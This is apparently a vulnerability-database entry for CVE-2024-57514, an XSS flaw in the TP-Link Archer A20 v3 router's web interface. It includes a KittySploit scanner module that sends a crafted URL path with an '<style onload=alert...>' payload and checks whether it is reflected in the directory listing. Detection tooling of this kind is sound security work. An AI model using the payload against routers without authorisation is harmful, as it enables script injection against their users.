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TP-Link Archer A20 v3 Router - Cross-site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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XSS in TP-Link Archer A20 v3 web interface via directory listing paths.

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bdu_fstec
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The vulnerability in the web interface of TP-Link Archer A20 micro-programming software allows a hacker to execute arbitrary code.
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circl
Circl
CVE-2024-57514
28 Jan 202521:55
–circl
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CNNVD
TP-LINK Archer A20 安全漏洞
28 Jan 202500:00
–cnnvd
cve
CVE
CVE-2024-57514
28 Jan 202500:00
–cve
cvelist
Cvelist
CVE-2024-57514
28 Jan 202500:00
–cvelist
euvd
EUVD
EUVD-2024-53606
3 Oct 202520:07
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kitploit
Kitploit
CVE-2024-57514
10 Oct 202620:35
–kitploit
nuclei
Nuclei
TP-Link Archer A20 v3 Router - Cross-site Scripting
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2024-57514
28 Jan 202522:15
–nvd
ptsecurity
Positive Technologies
PT-2025-1301 · Tp Link · Tp-Link Archer C20
28 Jan 202500:00
–ptsecurity
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of direc."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'TP-Link Archer A20 v3 Router - Cross-site Scripting Detection',
        'description': "The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.",
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2024', 'tplink', 'router', 'xss', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.zyenra.com/blog/xss-in-tplink-archer-a20.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-57514',
        ],
        'cve': 'CVE-2024-57514',
    }

    def run(self):
        r = self.http_request(method="GET", path='/<style%20onload=alert`document.domain`;>../..%2f', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('text/html',)
        body_all = ('<style onload=alert`document.domain`;', 'Index of',)
        if (any(m in body for m in body_any)) and (all(m in body for m in body_all)):
            self.set_info(
                severity='medium',
                reason="TP-Link Archer A20 v3 Router - Cross-site Scripting detected",
                path='/<style%20onload=alert`document.domain`;>../..%2f',
            )
            return True
        return False

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28 Jul 2026 11:27Current
8High risk
Vulners AI Score8
CVSS 3.14.8
EPSS0.00885
SSVC
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